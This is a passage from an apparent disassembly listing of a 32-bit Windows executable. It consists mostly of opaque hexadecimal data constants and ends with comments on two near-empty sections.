dd 0A84F5BAFh, 15C313AFh, 0B47CF4A9h, 0F0DBAC17h, 56BB1A8Dh
dd 0A4CB1695h, 981D9047h, 5466878Eh, 8B0529E4h, 0CD2264BFh
dd 5EBB2AF6h, 614E4C65h, 79807EEFh, 0B3AFD74Ch, 177743B9h
dd 0A14DBE61h, 0E6A54D8Fh, 0C53411E1h, 75B3A83Ch, 523A25F4h
dd 0C99C96C4h, 9D70DA7Eh, 819E0A5Ah, 26ED1A0Fh, 0CEFE85A5h
dd 2E04FCDAh, 0FAFDC0DEh, 64635965h, 28134F2Dh, 0E0582C02h
dd 1B0ABFCFh, 393FC71Dh, 0B6ABDDC0h, 13D6E58Ah, 12B15892h
dd 16ED6257h, 0A3491234h, 322BB815h, 7E5D1A77h, 2BD23916h
dd 8B387293h, 0AEAC30D2h, 0AF395E53h, 8400463Dh, 0B966822Eh
dd 0D52DEDB2h, 12473488h, 8FE3D336h, 0C7E2EF40h, 8A29F787h
dd 2F2BD8AFh, 730F09B9h, 0FDDC2C3Bh, 0F4109F09h, 0DF6AAB82h
dd 0D43987F2h, 1155C92Bh, 5374A12Bh, 9399DB33h, 0E9F7A59Eh
dd 0B40C715Dh, 0D775E413h, 8E81E1C8h, 38164FFEh, 4DF88F3Bh
dd 502179EAh, 0BD2F3307h, 0B1E36E45h, 19613037h, 0B3DFF3EAh
dd 0A4568028h, 0BD81F038h, 50CDEB68h, 8CD7719Ah, 0B011BB4Ch
dd 0C925CCAAh, 40F6341Eh, 0B0A5BC56h, 0CEAFAD43h, 9DECA1F2h
dd 5727F723h, 9E151C38h, 3716D420h, 2885CE63h, 744C2C20h
dd 0BA8B9021h, 1FBF3511h, 0FD26B65Bh, 0C7231A9Dh, 447761F6h
dd 0EF42F9F0h, 12DA4C1Eh, 0CCBA4757h, 90FE4795h, 0AD503FE3h
dd 0D9F1720Ch, 83061F24h, 243C439Dh, 4DA99D70h, 3BC3A27Ah
dd 0B81E0DA1h, 1993E1AEh, 58687DCh, 23F31299h, 0D5E1903Ch
dd 0A535849Fh, 32B397Fh, 141AEE2Fh, 0CD28E481h, 0BD8C9603h
dd 0ACED96ACh, 0AA450B7Dh, 141CA0E2h, 283975BEh, 46C6B9BEh
dd 9FF19B53h, 776BD7FDh, 0C8368433h, 247828A6h, 0C3D40FF4h
dd 312F4C66h, 0C535A6B6h, 6F38A9F8h, 3FEE3F8Ah, 5EF497AAh
dd 83DB7AEFh, 90764997h, 0F89FF89Fh, 52A54FD7h, 45E226BDh
dd 9BCE8782h, 5C4761A5h, 0A1F5C535h, 925DD6E2h, 0D1BAAF40h
dd 1EC5977h, 5E50B335h, 16568BB4h, 4B20F1FEh, 9093B086h
dd 0B0C738A5h, 32BB85FCh, 8F29ADEh, 0FD726A5h, 6C547060h
dd 6ED63A82h, 0F19167FEh, 3B5FEC3Bh, 0C8E98412h, 5704B3E4h
dd 93345E12h, 0F9794EFEh, 0E24A1D37h, 0E297944Bh, 709B6E18h
dd 0EAEDE7C8h, 0E08C3937h, 0CA9D5B61h, 1C94F8F1h, 3316B047h
dd 0FBDB5995h, 26B96641h, 84F10453h, 7A35E6EBh, 0C6E78CD2h
dd 0DF4F44B2h, 21CC6180h, 93BEFED2h, 8E375063h, 0C16ED0C8h
dd 7A8914FAh, 7B6342B3h, 715C206Ah, 0D6CDBA03h, 2BE53E34h
dd 0C4C31F04h, 0BCF81845h, 0DC1E7030h, 93560A0Dh, 539D6EBFh
dd 8FC08B6Fh, 27039186h, 21B4673Ah, 2BB4E1B1h, 38C4D6CFh
dd 7DAD397Dh, 0A88BDA16h, 0B1DA63A5h, 0CED2CCEAh, 0E1865FCAh
dd 0D0530DE3h, 0AA65C3C4h, 0F00D8E8Bh, 85ED4773h, 2A0E7BF0h
dd 6AC61375h, 3E256402h, 9B1F2510h, 0A4D2E3C8h, 26B23C7Dh
dd 6E2AB38Bh, 89E1D9A2h
dd 92F3D679h, 0A0F34B86h, 3BB273DDh, 4EB050F0h, 572956B0h
dd 9345DF7h, 1E6D5DD7h, 2ED455FFh, 62955DB8h, 0F3EE0505h
dd 38574301h, 60E0B24Bh, 6485BCE4h, 0A7FA82F7h, 0E4E27BB3h
dd 6741DF36h, 439D774Eh, 46275C5h, 4DB900D2h, 0F3829492h
dd 2FD73F98h, 8778A559h, 0A16B2633h, 0C2601106h, 7F3E821Eh
dd 7A12C755h, 0F0166B1Ah, 0BBE47EF2h, 87D6886Dh, 3C788512h
dd 869A8AA2h, 0A4ADE502h, 0CA9661A5h, 79F7A35Ah, 0DD3D488Fh
dd 0CBA2F9B0h, 27F48086h, 4C72D68Eh, 27C61CB9h, 5349BC21h
dd 0E44FB3F3h, 320ECEB6h, 0E1B10F60h, 8593D2Ah, 1C392BA9h
dd 81AD141Ah, 89479265h, 9016893Ah, 143842D6h, 4ECFF42Ch
dd 32D8E95Ah, 4DDAEFEDh, 0D913F802h, 11A7F728h, 0B24412F6h
dd 9124ADC9h, 0E179C88Ah, 73E2AED0h, 0B72BF322h, 71008A5Eh
dd 8CA5D3C3h, 0C9423A85h, 7D6C04BEh, 25F17A6h, 391FE0DEh
dd 51ED4770h, 21128071h, 293B5D1h, 4413469h, 0C5D78BA7h
dd 0CCE6F741h, 0FE732CCAh, 4C247D7Fh, 61D89CEBh, 56DE46Bh
dd 0F770DFD4h, 70A2B41h, 0D7770744h, 24D8F4F0h, 0D47C9144h
dd 3951F97Dh, 29592869h, 663ABA60h, 18F223D7h, 5B77F902h
dd 8C9CFA69h, 0BD00E37h, 4DD8C4E7h, 229D253Bh, 2CD9A518h
dd 802B698Fh, 0DA1B5B54h, 0C4CFA6B6h, 0D8D17BADh, 24D7AF0Ah
dd 72F4F83Bh, 0D42ABF1Bh, 8E18A973h, 0B572807Ch, 0C9A53420h
dd 1C7C3A78h, 0D1708224h, 0BC7AEC91h, 208037ACh, 0B87BC37Dh
dd 8A3F6CFAh, 57122E75h, 0AB15CA75h, 0CDB3C678h, 0B858F49Bh
dd 83946E37h, 0A2FDFD46h, 252F1AAEh, 868B2BA4h, 197B1D8h
dd 0F98DE049h, 68B8A208h, 9BC091BFh, 82D341B6h, 0EB4AFA7Dh
dd 35667808h, 0FD90B43Eh, 0AAF0AE7Ch, 62E5B4ECh, 338EF103h
dd 5E75D32Ch, 0FCC442B2h, 0E743DEB7h, 96FF02CCh, 0BABC5579h
dd 36BF1E58h, 0E462F03h, 0E4497369h, 0C6CBE616h, 0F2350478h
dd 106B668Ch, 0AF5121D2h, 2010EC75h, 14667FE5h, 0DA9A2B4Bh
dd 85F8BA3Dh, 0FFA1A0B7h, 124DD0F2h, 91A5285Fh, 0B8505A4h
dd 69483C54h, 3F66C7E0h, 96CE7E98h, 9B15FFF3h, 0B454385Bh
dd 0B83E755h, 48C4197Eh, 565581B3h, 142534C1h, 0E85C8A1Bh
dd 1D903BEAh, 2C2C409Eh, 89E8028Ch, 0FB23D6EDh, 751726A7h
dd 1F2D783Ah, 2A779872h, 0AEE0AFB8h, 9861322h, 0D1CA305Ah
dd 2D168A5Ch, 0C8F73D66h, 3F1CFD29h, 0BC729AC3h, 5BEEFB71h
dd 62CD880h, 0F66D0D74h, 870FAD3h, 6F4B952Ah, 5F225D15h
dd 839FE8ACh, 0B5F4F9BAh, 4663AC72h, 0C6A57777h, 2BE94C1h
dd 0B3C47C9Eh, 0C11E54F4h, 69FEEA22h, 8979C175h, 0EEB9AAFh
dd 0A359B52Ah, 128D1049h, 6359AAE0h, 6064B187h, 0D72D27F9h
dd 703B9D09h, 4F43D5AAh, 73F87A5Bh, 2445F849h, 0FE502B8Ch
dd 5C9ECDD0h, 15B5C127h, 0AC957h, 35E9F3B7h, 0B0255FEDh
dd 965FDA5Dh, 7D5DF261h, 8CE353A4h, 7D79AED6h, 251565E5h
dd 787AED29h, 0B7D6EA8Ch, 1D645C0Ch, 736C3C5Eh, 0F8B7AA77h
dd 5677FE44h, 0CE446076h, 0A530F9F3h, 4A979942h, 0AF2C22E0h
dd 98CB3D58h, 771CA5FBh, 7D501940h, 21D63FEBh, 0E07D97ACh
dd 6F9DCAFAh, 78B925A2h, 0D831A9EBh, 0DA95DD0Ch, 211A490Ah
dd 139AFC79h, 4566EC70h, 9ED8C789h, 0FFBE35D8h, 0D24C306h
dd 7E9B896h, 83E9BE18h, 96CD4C37h, 0B8322546h, 7A2A1CF8h
dd 0A1870989h, 3C50C9DFh, 37D3DAACh, 0BD08B210h, 3817D02Ch
dd 0B6D17F9Bh, 639CD7E2h, 0A0EB2047h, 0C855A89Bh, 46030F0h
dd 0B1D633E2h, 2721E7EAh, 67A73DD7h, 0B0BE9149h, 4C0A1787h
dd 56EE1DDCh, 0AAB409EEh, 0EB2496D2h, 7C730080h, 0DA7E2404h
dd 8D014612h, 9E725C8Dh, 0C70A7ACCh, 0DDAD9C8Bh, 4D2BC63Eh
dd 681EF770h, 7B196E12h, 0D15B3392h, 0B0D82B00h, 0A400706Eh
dd 0FAE485h, 0EC9E7743h, 64F3AFB5h, 0EAA9D3D7h, 0E73DA73Ch
dd 0E90B91A5h, 59AFFE0Dh, 0E021FD57h, 12BBB461h, 2BA5FF00h
dd 474C1B90h, 3E25F85Ch, 870FC6AFh, 9A685C09h, 0E469DFD2h
dd 0C2D37F52h, 9115726h, 0D3E20B5h, 88850572h, 4C299B4Ch
dd 0A0E7564Ah, 0D7381ABEh, 2C039CBDh, 0B7D0963Ah, 0A4B0C4B5h
dd 3FEF7C3h, 0C1161248h, 0A942F10Bh, 58664CF4h, 958DB1FBh
dd 660DDC53h, 9B6F7159h, 3C27F092h, 0F632E9D1h, 0F6240FA7h
dd 8623DCE0h, 0C8D557D8h, 0EB48B824h, 0BC6C8744h, 40B0BA53h
dd 450E0492h, 54B46BADh, 46B827DBh, 4548CD65h, 0A69E4BFEh
dd 3963EF0Ah, 1D11949Ch, 0C3C5CA67h, 8FDC4E09h, 0FBCD344Fh
dd 0FEE2943Dh, 8CDAFCE8h, 485F195Ch, 423F9AD8h, 0D5B65B4Ch
dd 0F7E9242Ah, 8A987E92h, 5C216873h, 0CC8AF3D7h, 0B45F0553h
dd 6A11E424h, 0BF6860C9h, 8841CF58h, 0B9A700C2h, 7AA44B9Ah
dd 0DED37193h, 2E6277B8h, 49FA790Ah, 8F4826E0h, 0B5D14505h
dd 7F1A5358h, 0FC7FE4BFh, 0BBCAAE74h, 2677D7F1h, 0E2D9EA4h
dd 5142A2DEh, 4AC6F527h, 41346509h, 1DC8A6B5h, 186FBA8Eh
dd 0B7081266h, 0E8DC14F7h, 3B392B19h, 0CAF5F391h, 4FE912h
dd 0FC9496FDh, 3BE9B44Bh, 0CA3EC6Dh, 6B9252A5h, 8B34DDE4h
dd 18ABCDF6h, 92853667h, 0CA3AEBD1h, 5A89D2E4h, 0CA88AB20h
dd 86C513E4h, 0A12FB638h, 8372A3EBh, 340B1A31h, 568055FEh
dd 0FAE8BCFCh, 0F398FBE5h, 85587A45h, 1382AC56h, 8831EEE1h
dd 954F9FE9h, 0EA602E12h, 0BD2E03C6h, 21328A37h, 9B11AA4Eh
dd 23868885h, 0F93EA098h, 0EDB6D99Eh, 0CDBA1CBAh, 87D586FEh
dd 6C101B1Eh, 0F47031FCh, 1CEC7E5Dh, 0C2E21BFCh, 267C86E1h
dd 8676DB7Ah, 70100B05h, 82200E6Ah, 0E1F0496Ch, 167775DBh
dd 0BC4EB5Eh, 58A63815h, 671349B6h, 559BF8CAh, 0C1FFFA92h
dd 2039B4FFh, 0F8AA34h, 0E25BBE4Eh, 339C73B2h, 1F5DDB1Fh
dd 0DAFE8997h, 0AE161813h, 166090B4h, 3F9A25AAh, 0B7978B6Fh
dd 31CCD78Fh, 2C3AE573h, 9CFBB9E0h, 99A491D5h, 51281594h
dd 0DD854D3Dh, 422B26A3h, 0E5BC420Ch, 0AA6781h, 0ECA5E8E7h
dd 35A1E213h, 0BCC09FC9h, 493FD6DCh, 70C6838Ch, 42D55388h
dd 0BBCAC18Ch, 14B6E054h, 883703EBh, 0B193D71Eh, 0DE2F0B6Bh
dd 0B466D47Dh, 137150A9h, 55007A15h, 92F0DC4Ah, 41A904BFh
dd 904C02F3h, 0EEE5D861h, 0E001FDFFh, 3C9E99C6h, 1627FAAh
dd 9A3BB458h, 8D765F8Ah, 209787EDh, 52A32E70h, 0FA4CCACAh
dd 0E95F31Ch, 165A837h, 4788D13Dh, 0B6AD1263h, 34F99C7Dh
dd 2EA7CF1Ah, 5A6E1F5Ah, 0B4657073h, 6075DEDFh, 6DAC0972h
dd 3F55D643h, 0A250F7A0h, 0B2EEEEBAh, 0C163DCh, 0E36D0EDCh
dd 1676331Dh, 6A10209Fh, 3C640E62h, 34B70000h, 4584CCD3h
dd 340008A4h, 2CAED5B2h, 1AF1C062h, 48EA4132h, 9B7A0BA4h
dd 0B6729E73h, 7942E71Dh, 98A01C5Ch, 51112415h, 693B2DB7h
dd 2764C3Bh, 0F0043F25h, 0A0CAAC39h, 0B8A386D9h, 0F87A5E1Fh
dd 1BD9D136h, 0A1A3669Bh, 0DD087224h, 0A105E807h, 5E013448h
dd 0A33C653Ch, 4A366606h, 0B54D0643h, 0F023F04Eh, 0A28901C5h
dd 161C7A42h, 0CEB50961h, 6560A6A4h, 0B189C7B7h, 6C7C561Dh
dd 0D77D725Fh, 20040145h, 72E96899h, 1961F8Fh, 7F72DFDBh
dd 0C033A0F4h, 7DC3A92Ah, 7EDD6F76h, 0A89FFB41h, 95990F72h
dd 0D53F548Eh, 0F4A63DC0h, 0D2FB69FAh, 0C1FAEA8h, 5A4E2684h
dd 49D5D19Fh, 961DBCA5h, 1F92AADDh, 3456C190h, 0A792B5BAh
dd 9E46139h, 0C85EE4E2h
dd 45E29C2Eh, 0F3F2A059h, 35329440h, 7134E745h, 9953F000h
dd 37B16D98h, 86934A03h, 5DBED67Ch, 0D88DAD00h, 10D70397h
dd 3BF127B8h, 22545E1Bh, 0B5AB66B0h, 23714CA8h, 0D34569B8h
dd 11A2A001h, 59AD4149h, 8D3A2383h, 8241DBA9h, 0AC602A85h
dd 0DA29E9EAh, 5052406Eh, 9D08C7B0h, 13FEDEAEh, 0AAF880CBh
dd 0C3E63078h, 0BD8DEA2h, 7057EA5Ch, 3EA886Ah, 6E93BA0h
dd 0B4C03233h, 725DB379h, 5776DABCh, 6BBB5C09h, 0F6471F26h
dd 0B1CDC52Eh, 0C8639360h, 0EFDF3028h, 0F243C7Dh, 26DCC50Ah
dd 8D8303C7h, 0A4ABE0F7h, 8CEB4FABh, 96EA623Ch, 6B599E6Fh
dd 20F21A25h, 0C3BF39C0h, 72E3FBBh, 1ECFEE0Ah, 0F0BDF63Fh
dd 37FDE79Dh, 2B6AEA7Ch, 0CEE582B0h, 0AF2F3E9h, 0FF14422h
dd 0D298CC9Ch, 7F5FD915h, 360CDD0Ah, 8585245Ch, 5D9C1297h
dd 7B775AAFh, 85C3BFFBh, 54EE39B9h, 29F4A172h, 0CA8C40EFh
dd 0BEC5D7BAh, 29610339h, 1660AECh, 9CD1886Ch, 0CE5F8217h
dd 15BDBA96h, 90B072B2h, 0BD01E614h, 382E2EE4h, 0F941487Dh
dd 0CD3D8A8Ch, 209B05Ch, 86D2462Ah, 0FC382EB8h, 71CD7A8Bh
dd 0B9BED270h, 0B69C2950h, 0F2AB7C62h, 5F2FD03Ch, 1F89BB65h
dd 0AF3E1556h, 0D610BD15h, 1AE376D9h, 0C51A4E66h, 0AE7A19FAh
dd 32F8E818h, 33D99C76h, 0C11D4E5h, 0B4D603F2h, 93C65494h
dd 0B91AA932h, 8AB9E9CCh, 0FA485115h, 0F9579FC0h, 0AD733168h
dd 84B16DABh, 60E4238Bh, 48B4A515h, 6830D9DDh, 569C75EBh
dd 0D9962703h, 0B1C77174h, 15C256F2h, 0E7D23AFCh, 0E2C68EDCh
dd 2E052766h, 1D7650D5h, 1A110983h, 0EC0EF75Dh, 0E31FF73Eh
dd 962359ACh, 3A2C3390h, 0D0EA63DAh, 0A0B6114Fh, 0B5D4DACAh
dd 6CBCFEC5h, 3B6921F0h, 40088D1Ch, 3F8409DEh, 22CE9492h
dd 22D8C1ABh, 229D6287h, 0F3C3CC21h, 8696F458h, 2F7705BDh
dd 97FE5103h, 46BB986h, 0EC1CDFA3h, 3327CDA9h, 5560DABDh
dd 7C51F9EEh, 46EBCD55h, 951A0DF8h, 0E15528D7h, 0BAEF4356h
dd 8AC9D8D6h, 0C483B264h, 57B0190h, 0D81FBE01h, 2D5DB04Ah
dd 0A248A10Bh, 3930B877h, 1FBC01B2h, 8CE287B5h, 0F9AF9B9Dh
dd 1C3D1E97h, 7562F6D6h, 61DD0739h, 0EA0E3290h, 0DC896DAFh
dd 0D013D4B5h, 2DC5393Ch, 5B7EB94Ch, 0ACC93F5Ah, 0A4E606A3h
dd 0ABB77F99h, 6889335Ah, 2F2E7744h, 52C4212Dh, 46257ED8h
dd 0D5DA4299h, 0EA173756h, 9A09D14Eh, 7B850E55h, 7BED1A6Ch
dd 0B7BFC9EBh, 0C3CCE9Ah, 57062B71h, 300h dup(0)
_data ends
; Section 5. (virtual address 0007B000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 0007B000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_adata segment para public 'CODE' use32
assume cs:_adata
;org 47B000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
align 2000h
_adata ends
; Section 6. (virtual address 0007C000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0007C000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 47C000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start